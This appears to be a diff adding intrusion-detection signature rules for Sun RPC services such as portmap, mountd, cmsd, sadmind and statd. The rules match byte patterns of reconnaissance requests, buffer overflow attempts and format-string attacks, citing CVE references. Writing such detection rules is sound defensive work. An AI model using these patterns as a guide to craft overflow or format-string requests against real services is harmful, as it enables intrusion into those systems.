+alert tcp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap cachefsd request TCP"; flow:to_server,established; content:"|00 01 86 A0|"; depth:4; offset:16; content:"|00 00 00 03|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; content:"|00 01 87 8B|"; within:4; content:"|00 00 00 00|"; depth:4; offset:8; reference:bugtraq,4674; reference:cve,2002-0033; reference:cve,2002-0084; classtype:rpc-portmap-decode; sid:1747; rev:11;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap rwalld request UDP"; content:"|00 01 86 A0|"; depth:4; offset:12; content:"|00 00 00 03|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; content:"|00 01 86 A8|"; within:4; content:"|00 00 00 00|"; depth:4; offset:4; classtype:rpc-portmap-decode; sid:1732; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap rwalld request TCP"; flow:to_server,established; content:"|00 01 86 A0|"; depth:4; offset:16; content:"|00 00 00 03|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; content:"|00 01 86 A8|"; within:4; content:"|00 00 00 00|"; depth:4; offset:8; classtype:rpc-portmap-decode; sid:1733; rev:9;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap admind request UDP"; content:"|00 01 86 A0|"; depth:4; offset:12; content:"|00 00 00 03|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; content:"|00 01 86 F7|"; within:4; content:"|00 00 00 00|"; depth:4; offset:4; reference:arachnids,18; classtype:rpc-portmap-decode; sid:575; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap admind request TCP"; flow:to_server,established; content:"|00 01 86 A0|"; depth:4; offset:16; content:"|00 00 00 03|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; content:"|00 01 86 F7|"; within:4; content:"|00 00 00 00|"; depth:4; offset:8; reference:arachnids,18; classtype:rpc-portmap-decode; sid:1262; rev:9;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap amountd request UDP"; content:"|00 01 86 A0|"; depth:4; offset:12; content:"|00 00 00 03|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; content:"|00 01 87 03|"; within:4; content:"|00 00 00 00|"; depth:4; offset:4; reference:arachnids,19; classtype:rpc-portmap-decode; sid:576; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap amountd request TCP"; flow:to_server,established; content:"|00 01 86 A0|"; depth:4; offset:16; content:"|00 00 00 03|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; content:"|00 01 87 03|"; within:4; content:"|00 00 00 00|"; depth:4; offset:8; reference:arachnids,19; classtype:rpc-portmap-decode; sid:1263; rev:11;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap bootparam request UDP"; content:"|00 01 86 A0|"; depth:4; offset:12; content:"|00 00 00 03|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; content:"|00 01 86 BA|"; within:4; content:"|00 00 00 00|"; depth:4; offset:4; reference:arachnids,16; reference:cve,1999-0647; classtype:rpc-portmap-decode; sid:577; rev:13;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap bootparam request TCP"; flow:to_server,established; content:"|00 01 86 A0|"; depth:4; offset:16; content:"|00 00 00 03|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; content:"|00 01 86 BA|"; within:4; content:"|00 00 00 00|"; depth:4; offset:8; reference:arachnids,16; reference:cve,1999-0647; classtype:rpc-portmap-decode; sid:1264; rev:13;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap nisd request UDP"; content:"|00 01 86 A0|"; depth:4; offset:12; content:"|00 00 00 03|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; content:"|00 01 87 CC|"; within:4; content:"|00 00 00 00|"; depth:4; offset:4; reference:arachnids,21; classtype:rpc-portmap-decode; sid:580; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap nisd request TCP"; flow:to_server,established; content:"|00 01 86 A0|"; depth:4; offset:16; content:"|00 00 00 03|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; content:"|00 01 87 CC|"; within:4; content:"|00 00 00 00|"; depth:4; offset:8; reference:arachnids,21; classtype:rpc-portmap-decode; sid:1267; rev:11;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap pcnfsd request UDP"; content:"|00 01 86 A0|"; depth:4; offset:12; content:"|00 00 00 03|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; content:"|00 02|I|F1|"; within:4; content:"|00 00 00 00|"; depth:4; offset:4; reference:arachnids,22; classtype:rpc-portmap-decode; sid:581; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap pcnfsd request TCP"; flow:to_server,established; content:"|00 01 86 A0|"; depth:4; offset:16; content:"|00 00 00 03|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; content:"|00 02|I|F1|"; within:4; content:"|00 00 00 00|"; depth:4; offset:8; reference:arachnids,22; classtype:rpc-portmap-decode; sid:1268; rev:12;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap rexd request UDP"; content:"|00 01 86 A0|"; depth:4; offset:12; content:"|00 00 00 03|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; content:"|00 01 86 B1|"; within:4; content:"|00 00 00 00|"; depth:4; offset:4; reference:arachnids,23; classtype:rpc-portmap-decode; sid:582; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap rexd request TCP"; flow:to_server,established; content:"|00 01 86 A0|"; depth:4; offset:16; content:"|00 00 00 03|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; content:"|00 01 86 B1|"; within:4; content:"|00 00 00 00|"; depth:4; offset:8; reference:arachnids,23; classtype:rpc-portmap-decode; sid:1269; rev:10;)
+
+
+# rusers
+alert udp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap rusers request UDP"; content:"|00 01 86 A0|"; depth:4; offset:12; content:"|00 00 00 03|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; content:"|00 01 86 A2|"; within:4; content:"|00 00 00 00|"; depth:4; offset:4; reference:arachnids,133; reference:cve,1999-0626; classtype:rpc-portmap-decode; sid:584; rev:11;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap rusers request TCP"; flow:to_server,established; content:"|00 01 86 A0|"; depth:4; offset:16; content:"|00 00 00 03|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; content:"|00 01 86 A2|"; within:4; content:"|00 00 00 00|"; depth:4; offset:8; reference:arachnids,133; reference:cve,1999-0626; classtype:rpc-portmap-decode; sid:1271; rev:14;)
+# XXX - Need to find out if rusers exists on TCP and if so, implement one of
+# these for TCP...
+alert udp $EXTERNAL_NET any -> $HOME_NET any (msg:"RPC rusers query UDP"; content:"|00 01 86 A2|"; depth:4; offset:12; content:"|00 00 00 02|"; within:4; distance:4; content:"|00 00 00 00|"; depth:4; offset:4; reference:cve,1999-0626; classtype:attempted-recon; sid:612; rev:6;)
+
+
+
+alert udp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap selection_svc request UDP"; content:"|00 01 86 A0|"; depth:4; offset:12; content:"|00 00 00 03|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; content:"|00 01 86 AF|"; within:4; content:"|00 00 00 00|"; depth:4; offset:4; reference:arachnids,25; classtype:rpc-portmap-decode; sid:586; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap selection_svc request TCP"; flow:to_server,established; content:"|00 01 86 A0|"; depth:4; offset:16; content:"|00 00 00 03|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; content:"|00 01 86 AF|"; within:4; content:"|00 00 00 00|"; depth:4; offset:8; reference:arachnids,25; classtype:rpc-portmap-decode; sid:1273; rev:10;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap status request UDP"; content:"|00 01 86 A0|"; depth:4; offset:12; content:"|00 00 00 03|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; content:"|00 01 86 B8|"; within:4; content:"|00 00 00 00|"; depth:4; offset:4; reference:arachnids,15; classtype:rpc-portmap-decode; sid:587; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap status request TCP"; flow:to_server,established; content:"|00 01 86 A0|"; depth:4; offset:16; content:"|00 00 00 03|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; content:"|00 01 86 B8|"; within:4; content:"|00 00 00 00|"; depth:4; offset:8; reference:arachnids,15; classtype:rpc-portmap-decode; sid:2016; rev:6;)
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap snmpXdmi request TCP"; flow:to_server,established; content:"|00 01 86 A0|"; depth:4; offset:16; content:"|00 00 00 03|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; content:"|00 01 87 99|"; within:4; content:"|00 00 00 00|"; depth:4; offset:8; reference:bugtraq,2417; reference:cve,2001-0236; reference:url,www.cert.org/advisories/CA-2001-05.html; classtype:rpc-portmap-decode; sid:593; rev:18;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap snmpXdmi request UDP"; content:"|00 01 86 A0|"; depth:4; offset:12; content:"|00 00 00 03|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; content:"|00 01 87 99|"; within:4; content:"|00 00 00 00|"; depth:4; offset:4; reference:bugtraq,2417; reference:cve,2001-0236; reference:url,www.cert.org/advisories/CA-2001-05.html; classtype:rpc-portmap-decode; sid:1279; rev:14;)
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"RPC snmpXdmi overflow attempt TCP"; flow:to_server,established; content:"|00 01 87 99|"; depth:4; offset:16; content:"|00 00 01 01|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; byte_test:4,>,1024,20,relative; content:"|00 00 00 00|"; depth:4; offset:8; reference:bugtraq,2417; reference:cve,2001-0236; reference:url,www.cert.org/advisories/CA-2001-05.html; classtype:attempted-admin; sid:569; rev:14;)
+alert udp $EXTERNAL_NET any -> $HOME_NET any (msg:"RPC snmpXdmi overflow attempt UDP"; content:"|00 01 87 99|"; depth:4; offset:12; content:"|00 00 01 01|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; byte_test:4,>,1024,20,relative; content:"|00 00 00 00|"; depth:4; offset:4; reference:bugtraq,2417; reference:cve,2001-0236; reference:url,www.cert.org/advisories/CA-2001-05.html; classtype:attempted-admin; sid:2045; rev:8;)
+
+alert udp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap espd request UDP"; content:"|00 01 86 A0|"; depth:4; offset:12; content:"|00 00 00 03|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; content:"|00 05 F7|u"; within:4; content:"|00 00 00 00|"; depth:4; offset:4; reference:bugtraq,2714; reference:cve,2001-0331; classtype:rpc-portmap-decode; sid:2017; rev:12;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap espd request TCP"; flow:to_server,established; content:"|00 01 86 A0|"; depth:4; offset:16; content:"|00 00 00 03|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; content:"|00 05 F7|u"; within:4; content:"|00 00 00 00|"; depth:4; offset:8; reference:bugtraq,2714; reference:cve,2001-0331; classtype:rpc-portmap-decode; sid:595; rev:16;)
+
+
+alert udp $EXTERNAL_NET any -> $HOME_NET 1024: (msg:"RPC status GHBN format string attack"; content:"|00 01 86 B8|"; depth:4; offset:12; content:"|00 00 00 02|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; content:"%x %x"; within:256; content:"|00 00 00 00|"; depth:4; offset:4; reference:bugtraq,1480; reference:cve,2000-0666; classtype:misc-attack; sid:1890; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 1024: (msg:"RPC status GHBN format string attack"; flow:to_server, established; content:"|00 01 86 B8|"; depth:4; offset:16; content:"|00 00 00 02|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; content:"%x %x"; within:256; content:"|00 00 00 00|"; depth:4; offset:8; reference:bugtraq,1480; reference:cve,2000-0666; classtype:misc-attack; sid:1891; rev:8;)
+
+
+alert udp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap mountd request UDP"; content:"|00 01 86 A0|"; depth:4; offset:12; content:"|00 00 00 03|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; content:"|00 01 86 A5|"; within:4; content:"|00 00 00 00|"; depth:4; offset:4; reference:arachnids,13; classtype:rpc-portmap-decode; sid:579; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap mountd request TCP"; flow:to_server,established; content:"|00 01 86 A0|"; depth:4; offset:16; content:"|00 00 00 03|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; content:"|00 01 86 A5|"; within:4; content:"|00 00 00 00|"; depth:4; offset:8; reference:arachnids,13; classtype:rpc-portmap-decode; sid:1266; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"RPC mountd TCP export request"; flow:to_server,established; content:"|00 01 86 A5|"; depth:4; offset:16; content:"|00 00 00 05|"; within:4; distance:4; content:"|00 00 00 00|"; depth:4; offset:8; reference:arachnids,26; classtype:attempted-recon; sid:574; rev:8;)
+alert udp $EXTERNAL_NET any -> $HOME_NET any (msg:"RPC mountd UDP export request"; content:"|00 01 86 A5|"; depth:4; offset:12; content:"|00 00 00 05|"; within:4; distance:4; content:"|00 00 00 00|"; depth:4; offset:4; reference:arachnids,26; classtype:attempted-recon; sid:1924; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"RPC mountd TCP exportall request"; flow:to_server,established; content:"|00 01 86 A5|"; depth:4; offset:16; content:"|00 00 00 06|"; within:4; distance:4; content:"|00 00 00 00|"; depth:4; offset:8; reference:arachnids,26; classtype:attempted-recon; sid:1925; rev:6;)
+alert udp $EXTERNAL_NET any -> $HOME_NET any (msg:"RPC mountd UDP exportall request"; content:"|00 01 86 A5|"; depth:4; offset:12; content:"|00 00 00 06|"; within:4; distance:4; content:"|00 00 00 00|"; depth:4; offset:4; reference:arachnids,26; classtype:attempted-recon; sid:1926; rev:6;)
+
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"RPC mountd TCP mount path overflow attempt"; flow:to_server,established; content:"|00 01 86 A5 00|"; depth:5; offset:16; content:"|00 00 00 01|"; within:4; distance:3; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; byte_test:4,>,1023,0,relative; content:"|00 00 00 00|"; depth:4; offset:8; reference:bugtraq,8179; reference:cve,2003-0252; reference:nessus,11800; classtype:misc-attack; sid:2184; rev:7;)
+alert udp $EXTERNAL_NET any -> $HOME_NET any (msg:"RPC mountd UDP mount path overflow attempt"; content:"|00 01 86 A5 00|"; depth:5; offset:12; content:"|00 00 00 01|"; within:4; distance:3; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; byte_test:4,>,1023,0,relative; content:"|00 00 00 00|"; depth:4; offset:4; reference:bugtraq,8179; reference:cve,2003-0252; reference:nessus,11800; classtype:misc-attack; sid:2185; rev:7;)
+
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"RPC mountd TCP mount request"; flow:to_server,established; content:"|00 01 86 A5|"; depth:4; offset:16; content:"|00 00 00 01|"; within:4; distance:4; content:"|00 00 00 00|"; depth:4; offset:8; classtype:attempted-recon; sid:1951; rev:5;)
+alert udp $EXTERNAL_NET any -> $HOME_NET any (msg:"RPC mountd UDP mount request"; content:"|00 01 86 A5|"; depth:4; offset:12; content:"|00 00 00 01|"; within:4; distance:4; content:"|00 00 00 00|"; depth:4; offset:4; classtype:attempted-recon; sid:1952; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"RPC mountd TCP dump request"; flow:to_server,established; content:"|00 01 86 A5|"; depth:4; offset:16; content:"|00 00 00 02|"; within:4; distance:4; content:"|00 00 00 00|"; depth:4; offset:8; classtype:attempted-recon; sid:2018; rev:4;)
+alert udp $EXTERNAL_NET any -> $HOME_NET any (msg:"RPC mountd UDP dump request"; content:"|00 01 86 A5|"; depth:4; offset:12; content:"|00 00 00 02|"; within:4; distance:4; content:"|00 00 00 00|"; depth:4; offset:4; classtype:attempted-recon; sid:2019; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"RPC mountd TCP unmount request"; flow:to_server,established; content:"|00 01 86 A5|"; depth:4; offset:16; content:"|00 00 00 03|"; within:4; distance:4; content:"|00 00 00 00|"; depth:4; offset:8; classtype:attempted-recon; sid:2020; rev:4;)
+alert udp $EXTERNAL_NET any -> $HOME_NET any (msg:"RPC mountd UDP unmount request"; content:"|00 01 86 A5|"; depth:4; offset:12; content:"|00 00 00 03|"; within:4; distance:4; content:"|00 00 00 00|"; depth:4; offset:4; classtype:attempted-recon; sid:2021; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"RPC mountd TCP unmountall request"; flow:to_server,established; content:"|00 01 86 A5|"; depth:4; offset:16; content:"|00 00 00 04|"; within:4; distance:4; content:"|00 00 00 00|"; depth:4; offset:8; classtype:attempted-recon; sid:2022; rev:4;)
+alert udp $EXTERNAL_NET any -> $HOME_NET any (msg:"RPC mountd UDP unmountall request"; content:"|00 01 86 A5|"; depth:4; offset:12; content:"|00 00 00 04|"; within:4; distance:4; content:"|00 00 00 00|"; depth:4; offset:4; classtype:attempted-recon; sid:2023; rev:4;)
+
+
+# amd
+alert udp $EXTERNAL_NET any -> $HOME_NET 500: (msg:"RPC AMD UDP amqproc_mount plog overflow attempt"; content:"|00 04 93 F3|"; depth:4; offset:12; content:"|00 00 00 07|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; byte_test:4,>,512,0,relative; content:"|00 00 00 00|"; depth:4; offset:4; reference:bugtraq,614; reference:cve,1999-0704; classtype:misc-attack; sid:1905; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 500: (msg:"RPC AMD TCP amqproc_mount plog overflow attempt"; flow:to_server,established; content:"|00 04 93 F3|"; depth:4; offset:16; content:"|00 00 00 07|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; byte_test:4,>,512,0,relative; content:"|00 00 00 00|"; depth:4; offset:8; reference:bugtraq,614; reference:cve,1999-0704; classtype:misc-attack; sid:1906; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 500: (msg:"RPC AMD TCP pid request"; flow:to_server,established; content:"|00 04 93 F3|"; depth:4; offset:16; content:"|00 00 00 09|"; within:4; distance:4; content:"|00 00 00 00|"; depth:4; offset:8; classtype:rpc-portmap-decode; sid:1953; rev:5;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 500: (msg:"RPC AMD UDP pid request"; content:"|00 04 93 F3|"; depth:4; offset:12; content:"|00 00 00 09|"; within:4; distance:4; content:"|00 00 00 00|"; depth:4; offset:4; classtype:rpc-portmap-decode; sid:1954; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 500: (msg:"RPC AMD TCP version request"; flow:to_server,established; content:"|00 04 93 F3|"; depth:4; offset:16; content:"|00 00 00 08|"; within:4; distance:4; content:"|00 00 00 00|"; depth:4; offset:8; classtype:rpc-portmap-decode; sid:1955; rev:6;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 500: (msg:"RPC AMD UDP version request"; content:"|00 04 93 F3|"; depth:4; offset:12; content:"|00 00 00 08|"; within:4; distance:4; content:"|00 00 00 00|"; depth:4; offset:4; reference:bugtraq,1554; reference:cve,2000-0696; classtype:rpc-portmap-decode; sid:1956; rev:8;)
+
+# cmsd
+alert udp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap cmsd request UDP"; content:"|00 01 86 A0|"; depth:4; offset:12; content:"|00 00 00 03|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; content:"|00 01 86 E4|"; within:4; content:"|00 00 00 00|"; depth:4; offset:4; reference:arachnids,17; classtype:rpc-portmap-decode; sid:578; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap cmsd request TCP"; flow:to_server,established; content:"|00 01 86 A0|"; depth:4; offset:16; content:"|00 00 00 03|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; content:"|00 01 86 E4|"; within:4; content:"|00 00 00 00|"; depth:4; offset:8; reference:arachnids,17; classtype:rpc-portmap-decode; sid:1265; rev:9;)
+
+alert udp $EXTERNAL_NET any -> $HOME_NET any (msg:"RPC CMSD UDP CMSD_CREATE buffer overflow attempt"; content:"|00 01 86 E4|"; depth:4; offset:12; content:"|00 00 00 15|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; byte_test:4,>,1024,0,relative; content:"|00 00 00 00|"; depth:4; offset:4; reference:bugtraq,524; reference:cve,1999-0696; classtype:attempted-admin; sid:1907; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"RPC CMSD TCP CMSD_CREATE buffer overflow attempt"; flow:to_server,established; content:"|00 01 86 E4|"; depth:4; offset:16; content:"|00 00 00 15|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; byte_test:4,>,1024,0,relative; content:"|00 00 00 00|"; depth:4; offset:8; reference:bugtraq,524; reference:cve,1999-0696; classtype:attempted-admin; sid:1908; rev:9;)
+alert udp $EXTERNAL_NET any -> $HOME_NET any (msg:"RPC CMSD UDP CMSD_CREATE array buffer overflow attempt"; content:"|00 01 86 E4|"; depth:4; offset:12; content:"|00 00 00 15|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; byte_test:4,>,1024,20,relative; content:"|00 00 00 00|"; depth:4; offset:4; reference:bugtraq,5356; reference:cve,2002-0391; classtype:attempted-admin; sid:2094; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"RPC CMSD TCP CMSD_CREATE array buffer overflow attempt"; flow:to_server,established; content:"|00 01 86 E4|"; depth:4; offset:16; content:"|00 00 00 15|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; byte_test:4,>,1024,20,relative; content:"|00 00 00 00|"; depth:4; offset:8; reference:bugtraq,5356; reference:cve,2002-0391; classtype:attempted-admin; sid:2095; rev:6;)
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"RPC CMSD TCP CMSD_INSERT buffer overflow attempt"; flow:to_server,established; content:"|00 01 86 E4|"; depth:4; offset:16; content:"|00 00 00 06|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; byte_jump:4,0,relative,align; byte_test:4,>,1000,28,relative; content:"|00 00 00 00|"; depth:4; offset:8; reference:bugtraq,524; reference:cve,1999-0696; reference:url,www.cert.org/advisories/CA-99-08-cmsd.html; classtype:misc-attack; sid:1909; rev:12;)
+alert udp $EXTERNAL_NET any -> $HOME_NET any (msg:"RPC CMSD udp CMSD_INSERT buffer overflow attempt"; content:"|00 01 86 E4|"; depth:4; offset:12; content:"|00 00 00 06|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; byte_jump:4,0,relative,align; byte_test:4,>,1000,28,relative; content:"|00 00 00 00|"; depth:4; offset:4; reference:cve,1999-0696; reference:url,www.cert.org/advisories/CA-99-08-cmsd.html; classtype:misc-attack; sid:1910; rev:10;)
+
+
+# sadmind
+alert tcp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap sadmind request TCP"; flow:to_server,established; content:"|00 01 86 A0|"; depth:4; offset:16; content:"|00 00 00 03|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; content:"|00 01 87 88|"; within:4; content:"|00 00 00 00|"; depth:4; offset:8; reference:arachnids,20; classtype:rpc-portmap-decode; sid:1272; rev:10;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap sadmind request UDP"; content:"|00 01 86 A0|"; depth:4; offset:12; content:"|00 00 00 03|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; content:"|00 01 87 88|"; within:4; content:"|00 00 00 00|"; depth:4; offset:4; reference:arachnids,20; classtype:rpc-portmap-decode; sid:585; rev:7;)
+alert udp $EXTERNAL_NET any -> $HOME_NET any (msg:"RPC sadmind UDP NETMGT_PROC_SERVICE CLIENT_DOMAIN overflow attempt"; content:"|00 01 87 88|"; depth:4; offset:12; content:"|00 00 00 01|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; byte_jump:4,124,relative,align; byte_jump:4,20,relative,align; byte_test:4,>,512,4,relative; content:"|00 00 00 00|"; depth:4; offset:4; reference:bugtraq,866; reference:cve,1999-0977; classtype:attempted-admin; sid:1911; rev:11;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"RPC sadmind TCP NETMGT_PROC_SERVICE CLIENT_DOMAIN overflow attempt"; flow:to_server,established; content:"|00 01 87 88|"; depth:4; offset:16; content:"|00 00 00 01|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; byte_jump:4,124,relative,align; byte_jump:4,20,relative,align; byte_test:4,>,512,4,relative; content:"|00 00 00 00|"; depth:4; offset:8; reference:bugtraq,0866; reference:bugtraq,866; reference:cve,1999-0977; classtype:attempted-admin; sid:1912; rev:9;)
+
+alert udp $EXTERNAL_NET any -> $HOME_NET any (msg:"RPC sadmind UDP PING"; content:"|00 01 87 88|"; depth:4; offset:12; content:"|00 00 00 00|"; within:4; distance:4; content:"|00 00 00 00|"; depth:4; offset:4; reference:bugtraq,866; classtype:attempted-admin; sid:1957; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"RPC sadmind TCP PING"; flow:to_server,established; content:"|00 01 87 88|"; depth:4; offset:16; content:"|00 00 00 00|"; within:4; distance:4; content:"|00 00 00 00|"; depth:4; offset:8; reference:bugtraq,866; classtype:attempted-admin; sid:1958; rev:5;)
+
+
+# statd
+alert udp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap rstatd request UDP"; content:"|00 01 86 A0|"; depth:4; offset:12; content:"|00 00 00 03|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; content:"|00 01 86 A1|"; within:4; content:"|00 00 00 00|"; depth:4; offset:4; reference:arachnids,10; classtype:rpc-portmap-decode; sid:583; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap rstatd request TCP"; flow:to_server,established; content:"|00 01 86 A0|"; depth:4; offset:16; content:"|00 00 00 03|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; content:"|00 01 86 A1|"; within:4; content:"|00 00 00 00|"; depth:4; offset:8; reference:arachnids,10; classtype:rpc-portmap-decode; sid:1270; rev:11;)
+alert udp $EXTERNAL_NET any -> $HOME_NET any (msg:"RPC STATD UDP stat mon_name format string exploit attempt"; content:"|00 01 86 B8|"; depth:4; offset:12; content:"|00 00 00 01|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; byte_test:4,>,100,0,relative; content:"|00 00 00 00|"; depth:4; offset:4; reference:bugtraq,1480; reference:cve,2000-0666; classtype:attempted-admin; sid:1913; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"RPC STATD TCP stat mon_name format string exploit attempt"; flow:to_server,established; content:"|00 01 86 B8|"; depth:4; offset:16; content:"|00 00 00 01|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; byte_test:4,>,100,0,relative; content:"|00 00 00 00|"; depth:4; offset:8; reference:bugtraq,1480; reference:cve,2000-0666; classtype:attempted-admin; sid:1914; rev:10;)
+
+
+alert udp $EXTERNAL_NET any -> $HOME_NET any (msg:"RPC STATD UDP monitor mon_name format string exploit attempt"; content:"|00 01 86 B8|"; depth:4; offset:12; content:"|00 00 00 02|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; byte_test:4,>,100,0,relative; content:"|00 00 00 00|"; depth:4; offset:4; reference:bugtraq,1480; reference:cve,2000-0666; classtype:attempted-admin; sid:1915; rev:9;)
